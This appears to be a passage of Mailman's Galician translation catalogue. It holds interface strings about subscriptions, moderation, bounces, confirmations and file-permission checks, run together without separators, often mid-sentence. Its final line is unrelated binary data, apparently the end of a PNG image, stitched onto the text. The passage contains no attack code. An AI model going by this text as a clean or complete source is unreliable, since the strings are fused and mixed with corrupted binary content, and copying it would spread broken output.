             onde están subscritos todos os empregados dunha empresa.Ao se recibiren as mensaxes agrupadas nunha soa, que formato será o que se empregará por omisión?Cando estea activo, a listaxe de subscritores protéxese
             e pedirase o contrasinal do administrador ou dun subscritor.Cando esta opción está activada, moderarase todo o tráfico da rolda,
        por exemplo as mensaxes retidas para moderar.  Actívea cando se estiver a usar
        a rolda para ofensas persoais e queira dar un período de calma.Cando remate de facer as mudanzas...Cando lle solicite ao Mailman que realice unha sincronización cos
             grupos de novas, isto significará que quere comezar a
             transferir mensaxes á rolda de distribución a partir
             da primeira mensaxe nova atopada. Todas as mensaxes previas
             do grupo de novas ignoraranse. Isto é o mesmo que
             se vostede estivese a ler o grupo de novas e marcase como
             <em>lidas</em> todas as mensaxes até a data. Ao
             pórse ao día, os subscritores da rolda de
             distribución non verán ningunha das mensaxes
             anteriores.Onde se envían as respostas
 ás mensaxes enviadas á rolda? O <tt>remitinte orixinal</tt> recoméndase <em> enerxicamente</em>.Que tipo de entrega van ter os novos usuarios por omisión?Aínda que o detector de mensaxes devoltas do Mailman é bastante bo, é
             imposíbel detectar todos os formatos das mensaxes devoltas que existen.
             Debería manter esta opción en <em>Si</em> por dúas razóns: 1)
             Se é realmente unha devolución permanente dun dos seus subscritores,
             probabelmente debería eliminalo da rolda manualmente, e 2)
             podería enviar a mensaxe aos desenvolvedores do Mailman
             para engadir este novo formato aos formatos coñecidos.

             <p>Se, realmente, non desexa ser molestado, configure esta variábel a
             <em>Non</em> e todas as mensaxes devoltas que non se detectaren serán
             eliminadas sen máis polo sistema.

             <p><b>Nota:</b> este valor tamén afecta ás mensaxes
             enviadas ao enderezo -admin da súa rolda.  Este enderezo está en vías de desaparición
             e non debería utilizarse nunca, mais pode haber persoas que aínda envíen mensaxes a
             este enderezo.  Se isto ocorrese con esta opción configurada en
             <em>Non</em> as ditas mensaxes descartaranse.  Se o desexar, pode configurar
             un
             <a href="?VARHELP=autoreply/autoresponse_admin_text">contestador automático
             </a> para as mensaxes dirixidas aos enderezos -owner and -admin.Quen pode ver a listaxe de subscritores?AnualSiSi, con descarteSi, con destinatarioXa está subscrito a esta rolda de distribución.Xa está subscritoXa está subscrito.Xa está a empregar ese enderezo de correo electrónicoTen prohibido enviar mensaxes a esta rolda.Deuse de baixa da rolda de distribución %(realname)sNon está autorizado a enviar mensaxes a esta rolda de correo
e a súa mensaxe rexeitouse automaticamente,
Se xulga que as súas mensaxes están sendo rexeitadas por erro,
 contacte co propietario da rolda en %(listowner)s.Non pode obter a listaxe de subscritores da rolda.Non está autorizado para crear novas roldas de distribuciónNon está autorizado para eliminar esta roldaPode acceder ás súas preferencias persoais a través do seguinte URL:Pode crear unha rolda de distribución nova se cubra a
    información relevante do formulario seguinte. O nome da
    rolda empregarase como o enderezo principal á hora de enviar
    mensaxes á rolda de xeito que debería estar en minúsculas.
    Non poderá cambialo despois de a crear.

    <p> Tamén é preciso indicar o enderezo do propietario da
    rolda. Despois desta se crear, enviaráselle ao propietario
    unha mensaxe en que se inclúe o contrasinal. A partir
    de entón, o propietario poderá quer mudar o contrasinal da rolda
    quer engadir ou eliminar propietarios adicionais.

    <p>Se quere que o Mailman xere automaticamente o contrasinal inicial da
    rolda, prema `Si' no campo de autoxerar que se
    amosa máis abaixo e deixe baleiro o campo onde se pode inserir o
    contrasinal inicial.

    <p>Para crear roldas de distribucións novas é preciso ter a
    autorización axeitada. Cada sitio web debería ter un contrasinal
    de <em>creadores de roldas</em> que se poida usar no campo do final.
    Por último cómpre salientar que tamén se pode usar o
    contrasinal de administración do servidor.
    Non pode engadir unha cabeceira Reply-To: con enderezo explícito 
            se o este está baleiro.  Estase a volver aos valores iniciais.Non pode habilitar a pasarela a non ser que cubra <a href="?VARHELP=gateway/nntp_host">
             o campo do servidor de novas</a> e
             <a href="?VARHELP=gateway/linked_newsgroup">
"            o grupo de novas ligado</a>.Non se indicou o contrasinal antigo correcto e por tanto o seu contrasinal non se cambiou.
Debe empregar unha versión sen argumento da orde do contrasinal para recuperar o
contrasinal actual. Probe máis unha vez.O contrasinal que enviou non é a correctoEsqueceu especificar o nome da roldaEsqueceu especificar o propietario da roldaEspecificou un contrasinal incorrectoSubscribiuse satisfactoriamente á rolda de distribución
%(realname)s.Deuse de baixa satisfactoriamente da rolda de distribución
        %(fqdn_listname)s.  Se recibía recompilacións podería
        recibir máis unha. Se ten algunha pregunta sobre a súa
        baixa, póñase en contacto cos propietarios da
        rolda en %(owneraddr)s.Deuse de baixa da rolda de distribución %(realname)sCancelou a rehabilitación da súa subscrición. Se
    se segue a recibir devolucións desde seu enderezo, eliminarase
    desta roldaCancelou a solicitude de cambio de enderezoCancelou a súa solicitude de subscrición.Cancelou a súa solicitude de baixa.Ten subscritores de recompilacións mais estas están desactivadas.
               Por tanto, estes subscritores non recibirán correo.Ten subscritores que queren recibir o correo a medida que 
                chega, mais esta modalidade está desactivada. Eles
                recibirán correo até que corrixir este problema.Creou satisfactoriamente a rolda de distribución
        <b>%(listname)s</b> e enviáronselle as instrucións ao propietario 
        <b>%(owner)s</b>. Agora pode facer:Borrou satisfactoriamente a rolda de distribución
    <b>%(listname)s</b>.Definiu as súas opcións con éxito.Desactivou tanto a entrega de compilacións como das mensaxes non compiladas.
               Esta situación é incompatíbel. Ten que habilitar a
               entrega das mensaxes compiladas ou non compiladas porque,
               de o non facer, a súa rolda de distribución non se poderá empregar.Recibiu un convite de %(address)s á súa rolda, mais 
tentouse confirmar a unha rolda diferente.
Non fai falla que faga nada pola súa parte.É posíbel que reciba unha última compilación.Non se pode subscribir unha rolda a si mesmaTen de confirmar a súa solicitude de baixa se activa a cela de
                verificación que está debaixo do botón
                <em>Baixa</em>. Non se deu de baixa!.Primeiro tense que corrixir o enderezo que non é válido.Ten de se especificar un nome de rolda. Aquí ten a a ligazón a %(link)sTen de se especificar unha rolda.Ten de se proporcionar un enderezo de correo electrónico válido.Non recibiu un convite a esta rolda de distribución. Rexeitouse o convite
e avisouse os administradores da rolda.Enviaráselle unha mensaxe de correo electrónico en que se solicitará unha
            confirmación para previr que outras persoas o/a
            subscriban sen o saber.Enviaráselle unha mensaxe de correo electrónico en que se lle solicitará
            unha confirmación para previr que outras personas o/a
            subscriban sen o seu consentimento. Logo de recibir
            a confirmación,  a solicitude enviaráselle ao administrador
            da rolda para que a aprobar. Por último, enviaráselle unha notificación
            coa decisión do administrador por correo electrónico.É un propietario dunha rolda escorredizo!A cadea <code>%(property)s</code> semella ter
                    un novo valor con problemas que se puideron corrixir.
                    Utilizarase o valor corrixido.
                    verifique que o resultado é o que pretendía
                    conseguir.É necesaria a confirmación para cancelar o envío da 
    mensaxe á rolda de distribución <em>%(listname)s</em>:.

    cambio de enderezo da rolda de distribución
    <em>%(listname)s</em>:

    <ul><li><b>Remitente:</b> %(sender)s
        <li><b>Asunto:</b> %(subject)s
        <li><b>Motivo:</b> %(reason)s
    </ul>

     Prema o botón <em>Cancelar o envío</em> para rexeitar
    o envío
    ou prema o botón <em>Seguir a agardar a aprobación</em>
    para permitir que o moderador aprobe ou rexeite a mensaxe.É necesaria a confirmación co fin de completar a solicitude de
    cambio de enderezo da rolda de distribución
    <em>%(listname)s</em>. Actualmente está subscrito cos datos seguintes:
    <ul><li><b>Nome e apelidos:</b> %(fullname)s
        <li><b>Enderezo de correo electrónico antigo:</b> %(addr)s
    </ul>

    solicitou cambiar %(globallys)s o seu enderezo de correo
    electrónico: 
    <ul><li><b>Novo enderezo de correo electrónico:</b> %(newaddr)s
    </ul>

    Prema o botón inferior, <em>Cambiar o enderezo</em>, para
    completar o proceso de confirmación
    ou prema <em>Cancelar e rexeitar</em> para cancelar esta solicitude de
    cambio de enderezo.É necesaria a súa confirmación co fin de completar a solicitude de
    baixa da rolda de distribución
    <em>%(listname)s</em>. Actualmente está subscrito cos datos seguintes:
    <ul><li><b>Nome e apelidos:</b> %(fullname)s
        <li><b>Enderezo de correo electrónico:</b> %(addr)s
    </ul>

    Prema o botón inferior <em>Baixa</em> para completar o
    proceso de confirmación.

    <p>ou prema <em>Cancelar e rexeitar</em> para cancelar esta solicitude
    de baixa.É necesaria a confirmación para continuar coa solicitude de
    subscrición á rolda de distribución
    <em>%(listname)s</em>. A seguir, amósanse as súas preferencias
    de subscrición; pode realizar calquera cambio que estimar conveniente e
    prema <em>Subscribir</em> para completar o proceso de
    confirmación. Logo de confirmar a solicitude, o moderador
    ten que darlle a aprobación, que recibirá nunha mensaxe.

    Nota: enviaráselle o seu contrasinal por correo electrónico logo de se confirmar
    a súa subscrición.  Pode cambialo na súa páxina de opcións personais.

    <p>Se mudou de parecer e non quere subscribirse a esta rolda de
    distribución, pode premer <em>Cancelar a miña solicitude de subscrición</em>.Valores actuais das súas opcións:A súa decisiónO seu enderezo de correo electrónico:A súa subscrición da rolda de distribución %(realname)s está
    actualmente inhabilitada debido a demasiados devolucións. É necesario o seu consentimento
    para reactivar o envío ao seu enderezo. Temos a seguinte
    información nun ficheiro:

    <ul><li><b>Enderezo do subscritor:</b> %(member)s
        <li><b>Nome do subscritor:</b> %(username)s
        <li><b>Última devolución que se recibiu:</b> %(date)s
        <li><b>Número aproximado de días antes de
que se lle dea de baixa desta rolda:</b> %(daysleft)s
    </ul>

    Prema <em>Reactivar subscrición</em> para recibir outra vez os envíos
    da rolda de distribución ou prema <em>Cancelar</em> para atrasar a
    reactivación da subscrición.
    A súa mensaxe ten unha cabeceira sospeitosa.A mensaxe enviada a %(listname)s está a agardar a aprobación do moderadorO moderador considerou inapropiada a mensaxe.A súa mensaxe foi rexeitadaA súa mensaxe é demasiado grande; redúzaa para que teña 
un tamaño inferior a %(kb)d KB.O seu contrasinal novo da rolda %(listname)sA súa nova rolda de distribución: %(listname)sContrasinal novo de %(listname)s: %(notifypassword)sOs seus contrasinais non coinciden.O seu nome e apelidos:A súa solicitude foi dirixida ao moderador da rolda para que a aprobe.A súa subscrición non se permitiu porque o enderezo que se especificou non é seguro.Non se permitiu a súa subscrición porque o enderezo de correo electrónico
que especificou non é seguro.A súa solicitude de  subscrición foi reenviada ao enderezo
%(adminemail)s do administrador da rolda para que lle de a aprobación.A súa solicitude de subscrición recibiuse e axiña será
atendida. A depender da configuración desta rolda de
distribución, a súa solicitude tería
primeiro que ser confirmada por vostede ou aprobada polo moderador.
Se for precisa a confirmación, axiña recibirá un correo
electrónico de confirmación coas instrucións que debe seguir.A subscrición <em>retívose</em> porque %(x)s. A solicitude debe ser aprobada
polo administrador da rolda.  Recibirá unha confirmación por correo electrónico da decisión
do moderador cando procesar a súa solicitude.A solicitude da súa baixa reenviouse ao administrador da
rolda para que lle de a aprobación.A súa solicitude de baixa recibiuse e envióuselle aos moderadores das roldas
            para a súa aprobación. Recibirá unha notificación
            despois de o moderador tomar unha decisiónA mensaxe urxente que enviou á rolda de correo %(realname)s non se autorizou para a súa
distribución. Anéxase a mensaxe orixinal tal e como a recibiu o Mailman.
[Non hai detalles de devolucións dispoñíbeis][Non se deu ningunha explicación][Non se deu ningunha razón][inhabilitado debido a unha limpeza periódica, non existe ningunha mensaxe dispoñíbel][non hai ningunha descrición dispoñíbel]unha única mensaxe retida.confestabelecer a opción de confirmaciónlistaxe xeral administrativatodas as mensaxes retidas.todas as mensaxes retidas de %(esender)s.tamén os permisos dos ficheiros da base de datos teñen que ser %(octperms)s: %(path)snon se atopa o ficheiro %(filename)s asociado ao artigocambiouse o atributo "%(k)s" ignorouse o atributo "%(k)s"autorindicado polo administrador da roldapolo administrador da roldaindicado por vostedepor si propioComproba un modelo traducido coa orixinal,
        tamén busca etiquetas <MM-*> se o código
        html é distinto de ceroCompara unha tradución coa cadea orixinalcomproba as diferenzas entre o que se descargou e o que se vai subirestanse a comprobar os permisos dos cgi-binestase a comprobar o modo para %(prefix)sestase a comprobar a propiedade de %(dbfile)sestase a comprobar os permisos de %(file)sestase a comprobar os permisos de %(pwfile)sestase a comprobar os permisos sobre os datos da roldaestase a comprobar os permisos en %(private)sestase a comprobar o set-gid de %(wrapper)snon se puido eliminar o ficheiro antigo %(pyc)s -- %(rest)sdatadíadíasnon se recibe correorecíbese correocompilaciónpé de páxina das compilaciónscabeceira das compilaciónsrecíbense as mensaxes compiladaso directorio ten que estar, como mínimo, a 02775: %(d)sos permisos do directorio teñen que ser %(octperms)s: %(path)sinhabilitadacompletousedebido a devoluciónspor moitas devoluciónsnon se lle envian mensaxes duplicadasenderezo de correo electrónico e estase a calcular o arquivo dos artigos
os permisos do ficheiro teñen que estar como mínimo a 660: %(path)sestase a corrixir todos os permisos dos teus arquivos html antigos para que
traballen con b6. Se os teus arquivos son grandes, podería tardar un
ou dous minutos...debido a algún motivo que se descoñeceachouse en:de %(start)s a %(end)spáxina principal co índice das roldasdesfacerse dos ficheiros fontes antigosglobalmenteocultoo seu enderezo non se amosa na listaxe de membrosidiomaos valores correctos son:creador da roldainformación da roldarelación das roldas de distribución que estiveren dispoñíbeis.é preciso un nome de roldaas seguintes roldas de distribución coinciden:O ficheiro de entrada ten que estar como mínimo a 0660enderezo do subscritor<br>nome do subscritorsubscritoresmodrecibe as súas propias mensaxesn/dsen datasen roldas == nada que facersen asuntosen duplicadossen correo<br>[razón]non dispoñíbela min nonDesactivarActivarOpciónsPercorre un ficheiro .po extraendo msgids e msgstrscontrasinaltextoprivadoficheiros privadosestase a procesar a rolda de distribución:públicaarquivos públicosEnvíanselle lembranzas do contrasinalestase a eliminar %(src)sestase a eliminar o directorio %(src)s e todo o que hai no seu interiorVolver á páxina de opcións %(categoryname)scorrecto correctabusca unha cadea do ficheiro orixinalbusca unha cadea traducidapercorre o ficheiro po comparando msgids con msgstrssitiotamaño non dispoñíbelos permisos teñen que ser %(octperms)s: %(path)sficheiro de bloqueo danadoa orde 'stop' é sinonimo da orde 'end'.
asuntoa subscrición a %(name)s require a aprobación por
parte do administradoras subscricións a %(realname)s precisan a aprobación do administradora páxina xeral da administración de roldasO administrador da súa roldapáxina de información xeral das roldas de distribuciónfioremitinte descoñecidobaixaas baixas de %(realname)s precisan a aprobación do moderadorestanse a actualizar os qfiles antigosver todas as mensaxes de %(esender)s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`